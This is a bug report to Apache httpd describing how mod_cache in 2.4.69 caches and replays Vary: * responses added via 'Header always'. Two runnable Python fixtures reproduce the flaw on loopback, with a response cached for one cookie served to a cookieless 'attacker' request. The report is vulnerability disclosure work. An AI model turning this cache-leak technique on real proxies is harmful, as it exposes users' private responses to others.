https://bz.apache.org/bugzilla/show_bug.cgi?id=70289
Bug ID: 70289
Summary: mod_cache stores Vary: * responses when mod_headers
adds Vary with Header always
Product: Apache httpd-2
Version: 2.4.69
Hardware: PC
OS: Linux
Status: NEW
Severity: normal
Priority: P2
Component: mod_cache
Assignee: [email protected]
Reporter: [email protected]
Target Milestone: ---
Summary: mod_cache stores Vary: * responses when mod_headers adds Vary with
Header always
Product: Apache httpd-2
Component: mod_cache
Version: 2.4.69
Description
With Apache HTTP Server 2.4.69 acting as a reverse proxy, mod_cache_disk stores
and later replays a response whose client-visible headers contain Vary: * when
that header is supplied by `Header always set Vary "*"`. Apache's caching guide
says a response containing Vary: * should not be stored. The behavior differs
when the only configuration change is `Header set Vary "*"`.
The reproduction uses only a synthetic origin and loopback interfaces. Its
victim-specific response is otherwise cacheable because the origin explicitly
sends `Cache-Control: public, max-age=600`. That header is an important
precondition. The test does not show caching of responses marked `private` or
`no-store`.
Environment
- Apache/2.4.69 (Unix), built from the official 2.4.69 source archive (SHA-256
c551b9861e26f146f57e1b1765e69c89a60b3db0ec252ccab0d36283487016bb) with shipped
modules only.
- mod_cache, mod_cache_disk, mod_headers, mod_proxy, and mod_proxy_http; no
third-party module or source patch in the reproducing run.
- Linux 6.6.87.2-microsoft-standard-WSL2; Python 3.12.3 for the loopback
fixture.
- Apache's cache debug log recorded `Caching url` and `serving /shared`; no
error or warning was associated with the reproducing case.
Steps to reproduce
1. Build or install unmodified httpd 2.4.69 with the shipped modules listed
above.
2. Put the `parent-retest.py` and `anon-depth.py` scripts included below in the
same directory. Set `HTTPD_ROOT` to the Apache install prefix, and
`MOD_CACHE_SO` / `MOD_CACHE_DISK_SO` to the corresponding module paths if the
fixture defaults differ from your build.
3. Run `python3 anon-depth.py`. The fixture starts a synthetic origin and a
temporary Apache instance on 127.0.0.1, creates a new disk cache for each case,
and exits after its assertions.
4. The generated Apache configuration contains `CacheEnable disk /`,
`CacheHeader on`, `ProxyPass / http://127.0.0.1:<origin-port>/`, and
`Header always set Vary "*"`. The synthetic origin returns HTTP 200 with a
per-Cookie body and `Cache-Control: public, max-age=600` to `Cookie:
viewer=victim`. A request without a Cookie would receive HTTP 403 and
`Cache-Control: no-store` from that origin.
5. The fixture requests `/shared` first with `Cookie: viewer=victim`, then
without a Cookie. It repeats with `CacheQuickHandler off`. For a negative
control it starts a fresh cache and changes only the Vary directive to `Header
set Vary "*"`.
6. Optionally run `python3 parent-retest.py` for a separate two-identity
differential using the same configuration change.
Observed result
Under `Header always set Vary "*"`, the request without a Cookie receives HTTP
200, `X-Cache: HIT`, `Vary: *`, and the first request's synthetic body. The
origin sees only `viewer=victim`. With `CacheQuickHandler off`, the result is
the same. Under the `Header set Vary "*"` control, the request without a Cookie
reaches the origin and receives HTTP 403; the origin sees both requests.
Selected fixture output:
ALWAYS_SECOND_STATUS 200
ALWAYS_SECOND_VICTIM_BODY True
ALWAYS_ORIGIN_REQUESTS ['viewer=victim']
NORMAL_HANDLER_SECOND_STATUS 200
NORMAL_HANDLER_SECOND_VICTIM_BODY True
NORMAL_HANDLER_ORIGIN_REQUESTS ['viewer=victim']
ORDINARY_SECOND_STATUS 403
ORDINARY_ORIGIN_REQUESTS ['viewer=victim', 'anonymous']
Expected result
A response with effective `Vary: *` should not be stored or served from the
cache, regardless of whether mod_headers placed that field using `Header
always` or `Header set`. The second request in the reproducer should reach the
origin and receive HTTP 403.
Source-level hypothesis
In `modules/cache/mod_cache.c` near line 1118 in 2.4.69, the Vary-star storage
decision reads `r->headers_out`. `Header always` writes its response field to
`r->err_headers_out`. The later storage path merges the tables, resulting in a
cached/client-visible response with `Vary: *` even though the storage decision
did not see that field. An independent local control that checked the effective
merged headers before storage removed the cache hit; this was an experimental
control, not a proposed complete upstream patch.
Additional control: with the same `Header always set Vary "*"` setting,
changing the synthetic origin's `Cache-Control` from `public, max-age=600` to
`private, max-age=600` or `no-store` caused both requests to reach the origin.
Thus the report is limited to otherwise cacheable responses.
References: https://httpd.apache.org/docs/2.4/caching.html and
https://httpd.apache.org/docs/2.4/mod/mod_headers.html
Runnable loopback fixture sources (Python 3 standard library only)
--- parent-retest.py ---
#!/usr/bin/env python3
"""Separate loopback-only verification of Apache mod_cache's Vary: *
behavior."""
import http.client
import http.server
import json
import os
import pathlib
import shutil
import socket
import subprocess
import tempfile
import threading
import time
BASE = pathlib.Path(__file__).resolve().parent
HTTPD_ROOT = pathlib.Path(os.environ.get("HTTPD_ROOT", str(BASE.parent /
"apache-httpd-20261024" / "installed")))
HTTPD = HTTPD_ROOT / "bin/httpd"
MOD_CACHE = pathlib.Path(os.environ.get("MOD_CACHE_SO", str(BASE /
".libs/mod_cache.so")))
MOD_CACHE_DISK = pathlib.Path(os.environ.get("MOD_CACHE_DISK_SO", str(BASE /
".libs/mod_cache_disk.so")))
backend_seen = []
class Origin(http.server.BaseHTTPRequestHandler):
def do_GET(self):
identity = self.headers.get("Cookie", "anonymous")
backend_seen.append(identity)
payload = ("private-fixture-for-" + identity + "\n").encode()
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(payload)))
self.send_header("Cache-Control", "public, max-age=600")
self.end_headers()
self.wfile.write(payload)
def log_message(self, *_args):
pass
def unused_port():
with socket.socket() as sock:
sock.bind(("127.0.0.1", 0))
return sock.getsockname()[1]
def fetch(port, who):
conn = http.client.HTTPConnection("127.0.0.1", port, timeout=5)
conn.request("GET", "/shared", headers={"Cookie": who})
response = conn.getresponse()
data = {
"status": response.status,
"body": response.read().decode(),
"vary": response.getheader("Vary"),
"cache": response.getheader("X-Cache"),
}
conn.close()
return data
def case(name, header_directive, backend_port, quick_handler=True):
backend_seen.clear()
gateway_port = unused_port()
with tempfile.TemporaryDirectory(prefix="independent_" + name + "_",
dir=BASE) as folder:
root = pathlib.Path(folder)
cache_root = root / "cache"
cache_root.mkdir()
config = root / "httpd.conf"
config.write_text(f'''ServerRoot "{HTTPD_ROOT}"
Listen 127.0.0.1:{gateway_port}
ServerName localhost
PidFile "{root / 'httpd.pid'}"
ErrorLog "{root / 'error.log'}"
LoadModule unixd_module modules/mod_unixd.so
LoadModule authz_core_module modules/mod_authz_core.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule headers_module modules/mod_headers.so
LoadModule cache_module "{MOD_CACHE}"
LoadModule cache_disk_module "{MOD_CACHE_DISK}"
CacheRoot "{cache_root}"
CacheEnable disk /
CacheHeader on
CacheQuickHandler {'on' if quick_handler else 'off'}
{header_directive}
<Location />
Require all granted
</Location>
ProxyPass / http://127.0.0.1:{backend_port}/
''')
test = subprocess.run([str(HTTPD), "-t", "-f", str(config)],
capture_output=True, text=True, timeout=10)
if test.returncode:
raise RuntimeError(test.stderr)
proc = subprocess.Popen([str(HTTPD), "-f", str(config),
"-DFOREGROUND"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
try:
for _ in range(100):
if proc.poll() is not None:
raise RuntimeError("Apache exited early")
with socket.socket() as sock:
if sock.connect_ex(("127.0.0.1", gateway_port)) == 0:
break
time.sleep(0.05)
first = fetch(gateway_port, "viewer=victim")
second = fetch(gateway_port, "viewer=attacker")
return {"case": name, "first": first, "second": second,
"origin_requests": list(backend_seen)}
finally:
proc.terminate()
try:
proc.wait(timeout=5)
except subprocess.TimeoutExpired:
proc.kill()
proc.wait(timeout=5)
def main():
backend = http.server.ThreadingHTTPServer(("127.0.0.1", 0), Origin)
thread = threading.Thread(target=backend.serve_forever, daemon=True)
thread.start()
try:
positive = case("always", 'Header always set Vary "*"',
backend.server_port)
control = case("ordinary", 'Header set Vary "*"', backend.server_port)
print(json.dumps(positive, sort_keys=True), flush=True)
print(json.dumps(control, sort_keys=True), flush=True)
assert positive["first"]["vary"] == positive["second"]["vary"] == "*"
assert "HIT" in positive["second"]["cache"]
assert positive["second"]["body"] == positive["first"]["body"]
assert positive["origin_requests"] == ["viewer=victim"]
assert control["origin_requests"] == ["viewer=victim",
"viewer=attacker"]
assert control["second"]["body"] != control["first"]["body"]
finally:
backend.shutdown()
backend.server_close()
thread.join(timeout=3)
if __name__ == "__main__":
main()
--- end parent-retest.py ---
--- anon-depth.py ---
"""Synthetic cookie authorization control for the already verified Vary-star
cache bug."""
import http.client
import http.server
import importlib.util
import pathlib
import threading
path = pathlib.Path(__file__).with_name("parent-retest.py")
spec = importlib.util.spec_from_file_location("parent_retest", path)
fixture = importlib.util.module_from_spec(spec)
spec.loader.exec_module(fixture)
class GuardedOrigin(fixture.Origin):
def do_GET(self):
if self.headers.get("Cookie") == "viewer=victim":
return super().do_GET()
fixture.backend_seen.append("anonymous")
payload = b"denied-to-anonymous\n"
self.send_response(403)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(payload)))
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(payload)
original_fetch = fixture.fetch
def anonymous_second_fetch(port, who):
if who == "viewer=attacker":
conn = http.client.HTTPConnection("127.0.0.1", port, timeout=5)
conn.request("GET", "/shared")
response = conn.getresponse()
result = {
"status": response.status,
"body": response.read().decode(),
"vary": response.getheader("Vary"),
"cache": response.getheader("X-Cache"),
}
conn.close()
return result
return original_fetch(port, who)
fixture.fetch = anonymous_second_fetch
def main():
backend = http.server.ThreadingHTTPServer(("127.0.0.1", 0), GuardedOrigin)
thread = threading.Thread(target=backend.serve_forever, daemon=True)
thread.start()
try:
bypass = fixture.case("anon_always", 'Header always set Vary "*"',
backend.server_port)
bypass_normal = fixture.case("anon_always_normal", 'Header always set
Vary "*"', backend.server_port, quick_handler=False)
control = fixture.case("anon_ordinary", 'Header set Vary "*"',
backend.server_port)
print("ALWAYS_SECOND_STATUS", bypass["second"]["status"], flush=True)
print("ALWAYS_SECOND_VICTIM_BODY", bypass["second"]["body"] ==
bypass["first"]["body"], flush=True)
print("ALWAYS_ORIGIN_REQUESTS", bypass["origin_requests"], flush=True)
print("NORMAL_HANDLER_SECOND_STATUS",
bypass_normal["second"]["status"], flush=True)
print("NORMAL_HANDLER_SECOND_VICTIM_BODY",
bypass_normal["second"]["body"] == bypass_normal["first"]["body"], flush=True)
print("NORMAL_HANDLER_ORIGIN_REQUESTS",
bypass_normal["origin_requests"], flush=True)
print("ORDINARY_SECOND_STATUS", control["second"]["status"],
flush=True)
print("ORDINARY_ORIGIN_REQUESTS", control["origin_requests"],
flush=True)
assert bypass["second"]["status"] == 200
assert bypass["second"]["body"] == bypass["first"]["body"]
assert bypass["origin_requests"] == ["viewer=victim"]
assert bypass_normal["second"]["status"] == 200
assert bypass_normal["second"]["body"] ==
bypass_normal["first"]["body"]
assert bypass_normal["origin_requests"] == ["viewer=victim"]
assert control["second"]["status"] == 403
assert control["origin_requests"] == ["viewer=victim", "anonymous"]
finally:
backend.shutdown()
backend.server_close()
thread.join(timeout=3)
if __name__ == "__main__":
main()
--- end anon-depth.py ---
--
You are receiving this mail because:
You are the assignee for the bug.
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]